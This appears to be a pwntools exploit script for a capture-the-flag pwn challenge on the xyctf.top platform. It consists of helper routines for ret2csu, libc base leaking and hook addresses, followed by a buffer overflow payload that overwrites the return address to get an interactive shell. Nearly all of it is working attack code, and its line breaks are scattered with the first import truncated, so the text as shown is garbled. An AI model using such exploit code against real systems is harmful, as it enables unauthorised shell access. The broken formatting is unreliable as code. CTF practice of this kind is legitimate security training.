rom pwn import*
from LibcSearcher import*
from ctypes import*
elf = ELF(
'./pwn'
)
#libc = ELF('libc.so.6')
libc = elf.libc
jude = 0
if
jude == 1:
node =
'www.xyctf.top/api/proxy/072c17a6-5497-4758-9d77-071f90c650ff'
num = 48565
p = remote(node,num)
else
:
p = process(
'./pwn'
)
system_adr = 0
bin_sh = 0
libc_base = 0
def ret2csu(pop_addr,mov_adr,fun_addr,rdi,rsi,rdx):
p = p64(pop_addr)
p += p64(0) + p64(1) + p64(fun_addr) +p64(rdi) +p64(rsi) +p64(rdx) +p64(mov_adr)
p += b
'a'
*56
return
p
li = lambda x : print(
'\x1b[01;38;5;214m'
+ x +
'\x1b[0m'
)
ll = lambda x : print(
'\x1b[01;38;5;1m'
+ x +
'\x1b[0m'
)
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def rv(num):
return
p.recv(num)
def pr():
print(p.recv())
def ru(a):
return
p.recvuntil(a)
def inter():
p.interactive()
context(os=
'linux'
, arch=
'amd64'
, log_level=
'debug'
)
def g():
gdb.attach(r)
def get_addr(arch):
if
arch == 64:
return
u64(p.recvuntil(b
'\x7f'
)[-6:].ljust(8,b
'\x00'
))
else
:
return
u32(p.recvuntil(b
'\xf7'
))
def leaklibc(way,func_adr,name,libc):
if
way ==
'LibcSearcher'
:
libc = LibcSearcher(
'name'
,func_adr)
libc_base = func_adr - libc.dump(name)
system_adr = libc_base + libc.dump(
'system'
)
bin_sh = libc_base + libc.dump(
'str_bin_sh'
)
else
:
libc_base = func_adr - libc.sym[name]
system_adr = libc_base + libc.sym[
'system'
]
bin_sh = libc_base + next(libc.search(b
'/bin/sh'
))
return
libc_base , system_adr ,bin_sh
def heaplibc(libc_base,libc):
system_adr = libc_base + libc.sym[
'system'
]
bin_sh = libc_base + next(libc.search(b
'/bin/sh'
))
free_hook = libc_base + libc.sym[
'__free_hook'
]
malloc_hook = libc_base + libc.sym[
'__malloc_hook'
]
return
system_adr,bin_sh,free_hook,malloc_hook
ret = 0x04019C9
for
i in range(8):
sla(
"Your chocie:"
,b
'1'
)
sla(
"You can record log details here:"
,b
'a'
*16)
sla(
"Do you need to check the records?"
,b
'y'
)
#gdb.attach(p)
sla(
"Your chocie:"
,b
'1'
)
pl = b
'/bin/sh'
sla(
"You can record log details here:"
,pl)
sla(
"Do you need to check the records?"
,b
'y'
)
sla(
"Your chocie:"
,b
'2'
)
#gdb.attach(p)
pl2 = b
'a'
*0x70 + p64(0x00404700) + p64(0x0401BC7)
sla(
"Type your message here plz:"
,pl2)
p.interactive()